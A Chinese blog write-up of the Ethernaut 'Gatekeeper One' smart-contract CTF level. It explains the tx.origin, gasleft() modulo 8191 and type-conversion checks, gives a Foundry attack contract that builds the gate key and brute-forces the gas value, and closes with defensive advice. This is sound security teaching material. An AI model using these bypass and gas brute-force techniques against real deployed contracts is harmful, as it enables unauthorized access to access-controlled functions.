当前位置: 首页 > news >正文

Ethernaut Level 13: Gatekeeper One - Gas计算与类型转换

🎯 Ethernaut Level 13: Gatekeeper One - Gas计算与类型转换

关卡链接: Ethernaut Level 13 - Gatekeeper One
攻击类型: Gas计算 / 类型转换
难度: ⭐⭐⭐⭐☆

📋 挑战目标

通过三个 modifier 的检测,成功调用 enter 函数,成为 entrant

Gatekeeper One Challenge

🔍 漏洞分析

要通过此关卡,我们需要调用 enter(bytes8 _gateKey) 函数,但必须绕过它的三个 modifier。让我们逐一分析。

Modifier 1: gateOne

modifier gateOne() {require(msg.sender != tx.origin);_;
}

这个 modifier 要求 msg.sender 不等于 tx.origin。这是一种常见的检查,用于防止直接从外部账户(EOA)调用。为了绕过它,我们必须通过一个中间合约来调用 enter 函数。这样,tx.origin 将是我们的EOA地址,而 msg.sender 将是攻击合约的地址。

Modifier 2: gateTwo

modifier gateTwo() {require(gasleft() % 8191 == 0);_;
}

这个 modifier 要求在执行到这里时,剩余的 gas 必须是 8191 的倍数。这是一个棘手的约束,因为 gas 的消耗会因操作码、Solidity版本和优化器设置而异。

最直接的方法是进行暴力破解:通过一个循环,在调用 enter 函数时尝试不同的 gas 值,直到找到一个满足 gasleft() % 8191 == 0 的值。

Modifier 3: gateThree

modifier gateThree(bytes8 _gateKey) {require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");_;
}

这个 modifier 对我们传入的 _gateKey (一个 bytes8 类型的值) 进行了三项检查:

  1. uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))

    • uint64(_gateKey)bytes8 转换为 uint64
    • uint32(...) 会截断,只保留低32位。
    • uint16(...) 会截断,只保留低16位。
    • 为了让两者相等,_gateKey 的第17位到第32位必须全为0。例如,0x????????0000????
  2. uint32(uint64(_gateKey)) != uint64(_gateKey)

    • 这要求 _gateKey 的高32位不全为0。
  3. uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))

    • uint16(uint160(tx.origin)) 获取 tx.origin 地址的最低16位。
    • 这要求 _gateKey 的低32位(经过第一次检查后,其实就是低16位)必须等于 tx.origin 的低16位。

综合这三个条件,我们可以构造出 _gateKey

  • tx.origin (即我们的EOA地址) 的低16位作为 _gateKey 的低16位。
  • 确保 _gateKey 的17-32位为0。
  • _gateKey 的高32位中设置至少一个非零位。

💻 Foundry 实现

攻击合约代码

这是我们的Foundry测试合约,它将部署攻击合约并调用 enter 函数。

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;import "forge-std/Test.sol";
import "src/13_GatekeeperOne.sol";contract GatekeeperOneTest is Test {GatekeeperOne instance;Attack attacker;address player1;function setUp() public {player1 = vm.addr(1);instance = new GatekeeperOne();attacker = new Attack(address(instance));}function testattacker() public {vm.startPrank(player1, player1);// 使用试错法找到合适的gas值 (例如 268)attacker.attack(268);assertEq(instance.entrant(), player1);vm.stopPrank();}
}contract Attack is Test {GatekeeperOne instance;constructor(address fb) {instance = GatekeeperOne(fb);}// 构造 gateKey 并使用指定的 gas 调用 enter 函数function attack(uint256 gas) public {// 构造满足 gateThree 的 keyuint16 origin_suffix = uint16(uint160(msg.sender));bytes8 gateKey = bytes8(uint64(origin_suffix)) | 0x1000000000000000;// 使用计算好的 gas 调用目标函数instance.enter{gas: 8191 * 10 + gas}(gateKey);}// 用于暴力破解 gas 值的函数function findGas() public {uint16 origin_suffix = uint16(uint160(msg.sender));bytes8 gateKey = bytes8(uint64(origin_suffix)) | 0x1000000000000000;for (uint256 i = 0; i < 8191; i++) {try instance.enter{gas: 8191 * 10 + i}(gateKey) {console.log("Found gas:", i); // 实验得出 i = 268return;} catch {}}revert("No gas match found!");}
}

关键攻击步骤

  1. 创建攻击合约: 绕过 gateOne (msg.sender != tx.origin)。
  2. 构造 _gateKey:
    • 获取 tx.origin 的低16位。
    • 将其构造成一个 bytes8 值,满足 gateThree 的所有 require 条件。
  3. 暴力破解 gas:
    • 编写一个循环,尝试不同的 gas 值来调用 enter 函数。
    • Foundry 测试中,我们可以通过 try/catch 捕获失败的调用,直到找到一个成功的 gas 值(例如,gas 偏移量为 268)。
  4. 发起攻击: 使用找到的 gas 值和构造的 _gateKey 从攻击合约中调用 enter 函数。

🛡️ 防御措施

  1. 避免复杂的 gas 检查: gasleft() 的值是不可预测的,并且会随着EVM的更新而改变。不应将其用于关键的访问控制逻辑。
  2. 简化类型转换逻辑: 过于复杂的类型转换和位操作会使代码难以理解,并可能引入意想不到的漏洞。应保持逻辑清晰、直接。
  3. 使用更安全的认证模式: 不要依赖 tx.origingas 技巧。可以考虑使用数字签名、Merkle树或预言机等更强大的验证机制。

🔧 相关工具和技术

  • Foundry try/catch: 用于在测试中捕获和处理预期的 revert,非常适合暴力破解 gas 等场景。
  • 位操作 (|, &): 在构造 _gateKey 时用于精确控制字节内容。
  • 类型转换: 深入理解Solidity中不同整数类型(uint16, uint32, uint64)和字节类型(bytes8)之间的转换规则至关重要。

🎯 总结

核心概念:

  • tx.origin vs msg.sender 的区别是许多合约攻击的基础。
  • gasleft() 的值是动态的,依赖它进行验证是脆弱的。
  • Solidity中的类型转换遵循严格的规则,不正确的转换或截断是常见的漏洞来源。

攻击向量:

  • 通过中间合约绕过 tx.origin 检查。
  • 通过暴力破解找到满足 gasleft() 模运算的 gas 值。
  • 通过逆向工程类型转换和位操作的 require 条件来构造一个有效的输入。

防御策略:

  • 不要将 gas 消耗作为安全机制。
  • 保持验证逻辑的简单和直接。
  • 使用经过验证的、更强大的身份验证模式。

📚 参考资料

  • Solidity 类型转换
  • tx.origin vs msg.sender

🔗 相关链接

  • 原文
  • GitHub 项目

在智能合约的世界中,最简单的漏洞往往隐藏着最深刻的安全教训。 🎓

http://www.dtcms.com/a/511799.html

相关文章:

  • 飞凌嵌入式ElfBoard-常用的网络服务的搭建之TFTP服务搭建
  • mybatis-plus的insertBatchSomeColumn方法实现批量插入
  • 上海传媒公司艺人seo项目优化案例分析文档
  • 【论文阅读】DiffusionDrive:截断扩散模型用于端到端自动驾驶
  • 解读Time Model Statistics中的PL/SQL 和 SQL执行时间
  • DDD(一)认识领域驱动设计(DDD的概念、主要架构模型)
  • Spring Boot集成Spring Integration全解析
  • MCP功能与架构详解
  • Spring Boot优雅关闭全解析
  • 授权登录网站怎么做网站源码怎么做
  • 网站建设遇到哪些攻击网站开发外贸客户
  • 未来之窗昭和仙君(二十六)通用押金系统开发——东方仙盟筑基期
  • 【案例】Unity 平台访问文件浏览器(汇总)
  • Matlab 曲线拟合
  • 基于CSMA-CA协议的V2X通信MATLAB仿真
  • 基于matlab实现的DnCNN网络
  • 网站一般用什么工具做wordpress英文版切换中文
  • 十大最佳摄影网站windows 版 wordpress
  • ruby 、gem 和 cocoapods的联系与区别
  • Python 圆台体积和表面积计算程序(Program for Volume and Surface area of Frustum of Cone)
  • MySQL索引指南
  • 分销网站制作条件免费机械网站模板
  • day01 pyspark入门和基础环境
  • 公司网站 URL 地址规范
  • 建设一个广告联盟的网站免费祝福网页在线制作
  • 实现Trie(前缀树)
  • 杰理SDK入门教程(六):自定义按键事件
  • gray = roi.clone();和gray = roi;的区别是什么?
  • STM32中MX_TIM2_Init函数和HAL_TIM_Base_MspInit函数区别
  • 【基于Selenium的智能滑块验证码破解技术详解】